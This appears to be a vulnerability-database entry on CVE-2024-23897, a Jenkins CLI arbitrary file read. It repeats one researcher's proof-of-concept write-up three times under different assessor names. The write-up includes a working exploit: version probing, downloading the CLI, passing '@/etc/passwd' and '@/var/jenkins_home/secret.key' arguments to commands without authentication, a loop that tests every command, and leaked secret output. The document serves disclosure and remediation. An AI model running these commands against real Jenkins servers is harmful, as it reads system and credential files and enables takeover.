Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an ‘@’ character followed by a file path in an argument with the file’s contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.

Recent assessments:

w2xim3 at January 26, 2024 4:16am UTC reported:

CVE-2024-23897: Jenkins Arbitrary File Read Vulnerability

Overview

CVE-2024-23897 has been identified as an arbitrary file read vulnerability in Jenkins, specifically through its built-in command line interface (CLI). This vulnerability stems from the use of the args4j library for parsing command arguments and options on the Jenkins controller.

Description

When processing CLI commands, Jenkins utilizes the args4j library, which has a feature that replaces an @ character followed by a file path in an argument with the contents of that file (expandAtFiles). This feature is enabled by default and was not disabled in Jenkins versions 2.441 and earlier, including LTS 2.426.2 and earlier.

Implications

A threat actor can exploit this vulnerability to read arbitrary files on the Jenkins controller’s file system using the default character encoding of the Jenkins controller process. Attackers with “Overall/Read” permission can read entire files, while those without such permission can only read the first three lines of files, depending on the CLI commands used.

Furthermore, this vulnerability can be exploited to read binary files containing sensitive information like cryptographic keys, although there are certain limitations. If these binary secrets are extracted, it could potentially lead to various attacks, such as:

• Remote code execution via Resource Root URLs.

• Remote code execution through “Remember me” cookies.

• Remote code execution via stored cross-site scripting (XSS) attacks in build logs.

• Remote code execution by bypassing CSRF protection.

• Decrypting secrets stored in Jenkins.

• Deleting any item in Jenkins.

• Downloading a Java heap dump.

Jenkins has noted that while files containing binary data can be read, the affected feature attempts to read them as strings using the controller process’s default character encoding.

Cybersecurity

This vulnerability highlights the importance of proper cybersecurity measures in managing software infrastructure, especially in tools like Jenkins, which are pivotal in the continuous integration and delivery pipeline.

Discovering Jenkins Version

To determine if a Jenkins instance is vulnerable, you can check its version using a simple curl command. This can help identify if the Jenkins version is one that’s affected by CVE-2024-23897.

Command:

curl -I http://jenkins.website.com:8080

HTTP/1.1 403 Forbidden
Date: Fri, 26 Jan 2024 03:20:33 GMT
X-Content-Type-Options: nosniff
Set-Cookie: JSESSIONID.0fb6b3ab=node01vyrtax05t5vd1bj77ieowz32z8.node0; Path=/; HttpOnly
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=utf-8
X-Hudson: 1.395
X-Jenkins: 2.426.2
X-Jenkins-Session: f03ec4ab
Transfer-Encoding: chunked
Server: Jetty(10.0.18)

The X-Jenkins header in the response indicates the version of Jenkins that is running. In this example, it shows version 2.426.2, which is one of the versions affected by the vulnerability.

Downloading and Using the Jenkins CLI

First, we need to download the CLI tool for Jenkins:

wget http://jenkins.website.com:8080/jnlpJars/jenkins-cli.jar

To determine the commands that I can execute with the CLI, I installed the Docker version with admin credentials (username: admin, password: admin). After executing the “help” command:

java -jar jenkins-cli.jar -s http://localhost:8080 -auth admin:admin help

Here are the commands that I can execute:

Job Management

• add-job-to-view: Add jobs to a specific view.

• build: Build a job and optionally wait for its completion.

• copy-job: Copy an existing job.

• create-job: Create a new job with XML configuration input.

• delete-builds: Delete specific build records.

• delete-job: Delete one or more jobs.

• disable-job: Disable a specified job.

• enable-job: Enable a specified job.

• get-job: Output the job definition XML.

• keep-build: Mark a build to keep it permanently.

• list-jobs: List all jobs in a specific view or item group.

• reload-job: Reload job definitions.

• remove-job-from-view: Remove jobs from a specific view.

• update-job: Update job definition using XML input.

Node Management

• connect-node: Reconnect to one or more nodes.

• create-node: Create a new node with XML configuration.

• delete-node: Delete one or more nodes.

• disconnect-node: Disconnect from a node.

• get-node: Output the node definition XML.

• offline-node: Temporarily stop using a node.

• online-node: Resume using a node.

• update-node: Update node definition using XML input.

• wait-node-offline: Wait for a node to go offline.

• wait-node-online: Wait for a node to come online.

Plugin Management

• disable-plugin: Disable one or more plugins.

• enable-plugin: Enable one or more plugins.

• install-plugin: Install a plugin from a file, URL, or update center.

• list-plugins: List all installed plugins.

View Management

• create-view: Create a new view with XML configuration.

• delete-view: Delete one or more views.

• get-view: Output the view definition XML.

• update-view: Update view definition using XML input.

Credentials Management

• create-credentials-by-xml: Create credentials using XML.

• create-credentials-domain-by-xml: Create a credentials domain using XML.

• delete-credentials: Delete specific credentials.

• delete-credentials-domain: Delete a credentials domain.

• get-credentials-as-xml: Get credentials as XML (secrets redacted).

• get-credentials-domain-as-xml: Get a credentials domain as XML.

• import-credentials-as-xml: Import credentials using XML.

• list-credentials: List credentials in a specific store.

• list-credentials-as-xml: Export credentials as XML.

• update-credentials-by-xml: Update credentials using XML.

• update-credentials-domain-by-xml: Update a credentials domain using XML.

Build and Script Management

• console: Retrieve console output of a build.

• declarative-linter: Validate a Jenkinsfile with a Declarative Pipeline.

• groovy: Execute a specified Groovy script.

• groovysh: Run an interactive Groovy shell.

• list-changes: Dump the changelog for specific builds.

• replay-pipeline: Replay a Pipeline build with edited script.

• restart-from-stage: Restart a completed Pipeline build from a stage.

• set-build-description: Set the description of a build.

• set-build-display-name: Set the display name of a build.

• stop-builds: Stop all running builds for specific jobs.

System and Configuration Management

• cancel-quiet-down: Cancel the quiet-down mode.

• clear-queue: Clear the build queue.

• help: List all available commands or detailed description of a single command.

• mail: Send an email with input from stdin.

• quiet-down: Prepare Jenkins for restart by not starting new builds.

• reload-configuration: Reload all data from the file system.

• restart: Restart Jenkins.

• safe-restart: Safely restart Jenkins without starting new builds.

• safe-shutdown: Shut down Jenkins after completing existing builds.

• session-id: Output the current session ID.

• shutdown: Immediately shut down Jenkins server.

• version: Output the current version of Jenkins.

• who-am-i: Report user credentials and permissions.

Subsequently, I randomly used a get function:

java -jar jenkins-cli.jar -s http://localhost:8080 -auth admin:admin get-node @/etc/passwd
ERROR: No such node 'root:x:0:0:root:/root:/bin/bash'

Great, I can now read files, but the question remains about unauthenticated access.

java -jar jenkins-cli.jar -s http://localhost:8080 get-node @/etc/passwd
io.jenkins.cli.shaded.jakarta.websocket.DeploymentException: Handshake error.
# (Error stack trace omitted for brevity)
Caused by: io.jenkins.cli.shaded.org.glassfish.tyrus.client.auth.AuthenticationException: Credentials are missing.

So, I decided to test all the commands without authentication.

for i in `cat jenkins_commands.txt`; do echo $i; java -jar jenkins-cli.jar -s http://localhost:8080 $i "@/etc/passwd"; done

I received some responses from a few commands without authentication.

disable-job
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

enable-job
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

help
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

safe-shutdown
ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash

shutdown
ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash

who-am-i
ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash

Thus, it is possible to read a few lines from files on a vulnerable Jenkins instance.

java -jar jenkins-cli.jar -s http://localhost:8080 shutdown @/var/jenkins_home/secret.key
ERROR: No argument is allowed: 85c25a9e632febdbad51498ef0bb568400fbc28c1a00ce5115b0789a83c2dd09

Here the secret key of my jenkin.

Remediation Section

Update Jenkins

To address the vulnerability, update to a version higher than Jenkins 2.442 or LTS 2.426.3.

Author Information

---

Author: Maxime Paillé

GitHub: w2xim3

LinkedIn: LinkedIn Profile

sfewer-r7 at January 30, 2024 5:37pm UTC reported:

CVE-2024-23897: Jenkins Arbitrary File Read Vulnerability

Overview

CVE-2024-23897 has been identified as an arbitrary file read vulnerability in Jenkins, specifically through its built-in command line interface (CLI). This vulnerability stems from the use of the args4j library for parsing command arguments and options on the Jenkins controller.

Description

When processing CLI commands, Jenkins utilizes the args4j library, which has a feature that replaces an @ character followed by a file path in an argument with the contents of that file (expandAtFiles). This feature is enabled by default and was not disabled in Jenkins versions 2.441 and earlier, including LTS 2.426.2 and earlier.

Implications

A threat actor can exploit this vulnerability to read arbitrary files on the Jenkins controller’s file system using the default character encoding of the Jenkins controller process. Attackers with “Overall/Read” permission can read entire files, while those without such permission can only read the first three lines of files, depending on the CLI commands used.

Furthermore, this vulnerability can be exploited to read binary files containing sensitive information like cryptographic keys, although there are certain limitations. If these binary secrets are extracted, it could potentially lead to various attacks, such as:

• Remote code execution via Resource Root URLs.

• Remote code execution through “Remember me” cookies.

• Remote code execution via stored cross-site scripting (XSS) attacks in build logs.

• Remote code execution by bypassing CSRF protection.

• Decrypting secrets stored in Jenkins.

• Deleting any item in Jenkins.

• Downloading a Java heap dump.

Jenkins has noted that while files containing binary data can be read, the affected feature attempts to read them as strings using the controller process’s default character encoding.

Cybersecurity

This vulnerability highlights the importance of proper cybersecurity measures in managing software infrastructure, especially in tools like Jenkins, which are pivotal in the continuous integration and delivery pipeline.

Discovering Jenkins Version

To determine if a Jenkins instance is vulnerable, you can check its version using a simple curl command. This can help identify if the Jenkins version is one that’s affected by CVE-2024-23897.

Command:

curl -I http://jenkins.website.com:8080

HTTP/1.1 403 Forbidden
Date: Fri, 26 Jan 2024 03:20:33 GMT
X-Content-Type-Options: nosniff
Set-Cookie: JSESSIONID.0fb6b3ab=node01vyrtax05t5vd1bj77ieowz32z8.node0; Path=/; HttpOnly
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=utf-8
X-Hudson: 1.395
X-Jenkins: 2.426.2
X-Jenkins-Session: f03ec4ab
Transfer-Encoding: chunked
Server: Jetty(10.0.18)

The X-Jenkins header in the response indicates the version of Jenkins that is running. In this example, it shows version 2.426.2, which is one of the versions affected by the vulnerability.

Downloading and Using the Jenkins CLI

First, we need to download the CLI tool for Jenkins:

wget http://jenkins.website.com:8080/jnlpJars/jenkins-cli.jar

To determine the commands that I can execute with the CLI, I installed the Docker version with admin credentials (username: admin, password: admin). After executing the “help” command:

java -jar jenkins-cli.jar -s http://localhost:8080 -auth admin:admin help

Here are the commands that I can execute:

Job Management

• add-job-to-view: Add jobs to a specific view.

• build: Build a job and optionally wait for its completion.

• copy-job: Copy an existing job.

• create-job: Create a new job with XML configuration input.

• delete-builds: Delete specific build records.

• delete-job: Delete one or more jobs.

• disable-job: Disable a specified job.

• enable-job: Enable a specified job.

• get-job: Output the job definition XML.

• keep-build: Mark a build to keep it permanently.

• list-jobs: List all jobs in a specific view or item group.

• reload-job: Reload job definitions.

• remove-job-from-view: Remove jobs from a specific view.

• update-job: Update job definition using XML input.

Node Management

• connect-node: Reconnect to one or more nodes.

• create-node: Create a new node with XML configuration.

• delete-node: Delete one or more nodes.

• disconnect-node: Disconnect from a node.

• get-node: Output the node definition XML.

• offline-node: Temporarily stop using a node.

• online-node: Resume using a node.

• update-node: Update node definition using XML input.

• wait-node-offline: Wait for a node to go offline.

• wait-node-online: Wait for a node to come online.

Plugin Management

• disable-plugin: Disable one or more plugins.

• enable-plugin: Enable one or more plugins.

• install-plugin: Install a plugin from a file, URL, or update center.

• list-plugins: List all installed plugins.

View Management

• create-view: Create a new view with XML configuration.

• delete-view: Delete one or more views.

• get-view: Output the view definition XML.

• update-view: Update view definition using XML input.

Credentials Management

• create-credentials-by-xml: Create credentials using XML.

• create-credentials-domain-by-xml: Create a credentials domain using XML.

• delete-credentials: Delete specific credentials.

• delete-credentials-domain: Delete a credentials domain.

• get-credentials-as-xml: Get credentials as XML (secrets redacted).

• get-credentials-domain-as-xml: Get a credentials domain as XML.

• import-credentials-as-xml: Import credentials using XML.

• list-credentials: List credentials in a specific store.

• list-credentials-as-xml: Export credentials as XML.

• update-credentials-by-xml: Update credentials using XML.

• update-credentials-domain-by-xml: Update a credentials domain using XML.

Build and Script Management

• console: Retrieve console output of a build.

• declarative-linter: Validate a Jenkinsfile with a Declarative Pipeline.

• groovy: Execute a specified Groovy script.

• groovysh: Run an interactive Groovy shell.

• list-changes: Dump the changelog for specific builds.

• replay-pipeline: Replay a Pipeline build with edited script.

• restart-from-stage: Restart a completed Pipeline build from a stage.

• set-build-description: Set the description of a build.

• set-build-display-name: Set the display name of a build.

• stop-builds: Stop all running builds for specific jobs.

System and Configuration Management

• cancel-quiet-down: Cancel the quiet-down mode.

• clear-queue: Clear the build queue.

• help: List all available commands or detailed description of a single command.

• mail: Send an email with input from stdin.

• quiet-down: Prepare Jenkins for restart by not starting new builds.

• reload-configuration: Reload all data from the file system.

• restart: Restart Jenkins.

• safe-restart: Safely restart Jenkins without starting new builds.

• safe-shutdown: Shut down Jenkins after completing existing builds.

• session-id: Output the current session ID.

• shutdown: Immediately shut down Jenkins server.

• version: Output the current version of Jenkins.

• who-am-i: Report user credentials and permissions.

Subsequently, I randomly used a get function:

java -jar jenkins-cli.jar -s http://localhost:8080 -auth admin:admin get-node @/etc/passwd
ERROR: No such node 'root:x:0:0:root:/root:/bin/bash'

Great, I can now read files, but the question remains about unauthenticated access.

java -jar jenkins-cli.jar -s http://localhost:8080 get-node @/etc/passwd
io.jenkins.cli.shaded.jakarta.websocket.DeploymentException: Handshake error.
# (Error stack trace omitted for brevity)
Caused by: io.jenkins.cli.shaded.org.glassfish.tyrus.client.auth.AuthenticationException: Credentials are missing.

So, I decided to test all the commands without authentication.

for i in `cat jenkins_commands.txt`; do echo $i; java -jar jenkins-cli.jar -s http://localhost:8080 $i "@/etc/passwd"; done

I received some responses from a few commands without authentication.

disable-job
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

enable-job
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

help
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

safe-shutdown
ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash

shutdown
ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash

who-am-i
ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash

Thus, it is possible to read a few lines from files on a vulnerable Jenkins instance.

java -jar jenkins-cli.jar -s http://localhost:8080 shutdown @/var/jenkins_home/secret.key
ERROR: No argument is allowed: 85c25a9e632febdbad51498ef0bb568400fbc28c1a00ce5115b0789a83c2dd09

Here the secret key of my jenkin.

Remediation Section

Update Jenkins

To address the vulnerability, update to a version higher than Jenkins 2.442 or LTS 2.426.3.

Author Information

---

Author: Maxime Paillé

GitHub: w2xim3

LinkedIn: LinkedIn Profile

ccondon-r7 at August 07, 2024 3:33pm UTC reported:

CVE-2024-23897: Jenkins Arbitrary File Read Vulnerability

Overview

CVE-2024-23897 has been identified as an arbitrary file read vulnerability in Jenkins, specifically through its built-in command line interface (CLI). This vulnerability stems from the use of the args4j library for parsing command arguments and options on the Jenkins controller.

Description

When processing CLI commands, Jenkins utilizes the args4j library, which has a feature that replaces an @ character followed by a file path in an argument with the contents of that file (expandAtFiles). This feature is enabled by default and was not disabled in Jenkins versions 2.441 and earlier, including LTS 2.426.2 and earlier.

Implications

A threat actor can exploit this vulnerability to read arbitrary files on the Jenkins controller’s file system using the default character encoding of the Jenkins controller process. Attackers with “Overall/Read” permission can read entire files, while those without such permission can only read the first three lines of files, depending on the CLI commands used.

Furthermore, this vulnerability can be exploited to read binary files containing sensitive information like cryptographic keys, although there are certain limitations. If these binary secrets are extracted, it could potentially lead to various attacks, such as:

• Remote code execution via Resource Root URLs.

• Remote code execution through “Remember me” cookies.

• Remote code execution via stored cross-site scripting (XSS) attacks in build logs.

• Remote code execution by bypassing CSRF protection.

• Decrypting secrets stored in Jenkins.

• Deleting any item in Jenkins.

• Downloading a Java heap dump.

Jenkins has noted that while files containing binary data can be read, the affected feature attempts to read them as strings using the controller process’s default character encoding.

Cybersecurity

This vulnerability highlights the importance of proper cybersecurity measures in managing software infrastructure, especially in tools like Jenkins, which are pivotal in the continuous integration and delivery pipeline.

Discovering Jenkins Version

To determine if a Jenkins instance is vulnerable, you can check its version using a simple curl command. This can help identify if the Jenkins version is one that’s affected by CVE-2024-23897.

Command:

curl -I http://jenkins.website.com:8080

HTTP/1.1 403 Forbidden
Date: Fri, 26 Jan 2024 03:20:33 GMT
X-Content-Type-Options: nosniff
Set-Cookie: JSESSIONID.0fb6b3ab=node01vyrtax05t5vd1bj77ieowz32z8.node0; Path=/; HttpOnly
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=utf-8
X-Hudson: 1.395
X-Jenkins: 2.426.2
X-Jenkins-Session: f03ec4ab
Transfer-Encoding: chunked
Server: Jetty(10.0.18)

The X-Jenkins header in the response indicates the version of Jenkins that is running. In this example, it shows version 2.426.2, which is one of the versions affected by the vulnerability.

Downloading and Using the Jenkins CLI

First, we need to download the CLI tool for Jenkins:

wget http://jenkins.website.com:8080/jnlpJars/jenkins-cli.jar

To determine the commands that I can execute with the CLI, I installed the Docker version with admin credentials (username: admin, password: admin). After executing the “help” command:

java -jar jenkins-cli.jar -s http://localhost:8080 -auth admin:admin help

Here are the commands that I can execute:

Job Management

• add-job-to-view: Add jobs to a specific view.

• build: Build a job and optionally wait for its completion.

• copy-job: Copy an existing job.

• create-job: Create a new job with XML configuration input.

• delete-builds: Delete specific build records.

• delete-job: Delete one or more jobs.

• disable-job: Disable a specified job.

• enable-job: Enable a specified job.

• get-job: Output the job definition XML.

• keep-build: Mark a build to keep it permanently.

• list-jobs: List all jobs in a specific view or item group.

• reload-job: Reload job definitions.

• remove-job-from-view: Remove jobs from a specific view.

• update-job: Update job definition using XML input.

Node Management

• connect-node: Reconnect to one or more nodes.

• create-node: Create a new node with XML configuration.

• delete-node: Delete one or more nodes.

• disconnect-node: Disconnect from a node.

• get-node: Output the node definition XML.

• offline-node: Temporarily stop using a node.

• online-node: Resume using a node.

• update-node: Update node definition using XML input.

• wait-node-offline: Wait for a node to go offline.

• wait-node-online: Wait for a node to come online.

Plugin Management

• disable-plugin: Disable one or more plugins.

• enable-plugin: Enable one or more plugins.

• install-plugin: Install a plugin from a file, URL, or update center.

• list-plugins: List all installed plugins.

View Management

• create-view: Create a new view with XML configuration.

• delete-view: Delete one or more views.

• get-view: Output the view definition XML.

• update-view: Update view definition using XML input.

Credentials Management

• create-credentials-by-xml: Create credentials using XML.

• create-credentials-domain-by-xml: Create a credentials domain using XML.

• delete-credentials: Delete specific credentials.

• delete-credentials-domain: Delete a credentials domain.

• get-credentials-as-xml: Get credentials as XML (secrets redacted).

• get-credentials-domain-as-xml: Get a credentials domain as XML.

• import-credentials-as-xml: Import credentials using XML.

• list-credentials: List credentials in a specific store.

• list-credentials-as-xml: Export credentials as XML.

• update-credentials-by-xml: Update credentials using XML.

• update-credentials-domain-by-xml: Update a credentials domain using XML.

Build and Script Management

• console: Retrieve console output of a build.

• declarative-linter: Validate a Jenkinsfile with a Declarative Pipeline.

• groovy: Execute a specified Groovy script.

• groovysh: Run an interactive Groovy shell.

• list-changes: Dump the changelog for specific builds.

• replay-pipeline: Replay a Pipeline build with edited script.

• restart-from-stage: Restart a completed Pipeline build from a stage.

• set-build-description: Set the description of a build.

• set-build-display-name: Set the display name of a build.

• stop-builds: Stop all running builds for specific jobs.

System and Configuration Management

• cancel-quiet-down: Cancel the quiet-down mode.

• clear-queue: Clear the build queue.

• help: List all available commands or detailed description of a single command.

• mail: Send an email with input from stdin.

• quiet-down: Prepare Jenkins for restart by not starting new builds.

• reload-configuration: Reload all data from the file system.

• restart: Restart Jenkins.

• safe-restart: Safely restart Jenkins without starting new builds.

• safe-shutdown: Shut down Jenkins after completing existing builds.

• session-id: Output the current session ID.

• shutdown: Immediately shut down Jenkins server.

• version: Output the current version of Jenkins.

• who-am-i: Report user credentials and permissions.

Subsequently, I randomly used a get function:

java -jar jenkins-cli.jar -s http://localhost:8080 -auth admin:admin get-node @/etc/passwd
ERROR: No such node 'root:x:0:0:root:/root:/bin/bash'

Great, I can now read files, but the question remains about unauthenticated access.

java -jar jenkins-cli.jar -s http://localhost:8080 get-node @/etc/passwd
io.jenkins.cli.shaded.jakarta.websocket.DeploymentException: Handshake error.
# (Error stack trace omitted for brevity)
Caused by: io.jenkins.cli.shaded.org.glassfish.tyrus.client.auth.AuthenticationException: Credentials are missing.

So, I decided to test all the commands without authentication.

for i in `cat jenkins_commands.txt`; do echo $i; java -jar jenkins-cli.jar -s http://localhost:8080 $i "@/etc/passwd"; done

I received some responses from a few commands without authentication.

disable-job
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

enable-job
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

help
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

safe-shutdown
ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash

shutdown
ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash

who-am-i
ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash

Thus, it is possible to read a few lines from files on a vulnerable Jenkins instance.

java -jar jenkins-cli.jar -s http://localhost:8080 shutdown @/var/jenkins_home/secret.key
ERROR: No argument is allowed: 85c25a9e632febdbad51498ef0bb568400fbc28c1a00ce5115b0789a83c2dd09

Here the secret key of my jenkin.

Remediation Section

Update Jenkins

To address the vulnerability, update to a version higher than Jenkins 2.442 or LTS 2.426.3.

Author Information

---

Author: Maxime Paillé

GitHub: w2xim3

LinkedIn: LinkedIn Profile

Assessed Attacker Value: 4
Assessed Attacker Value: 4Assessed Attacker Value: 4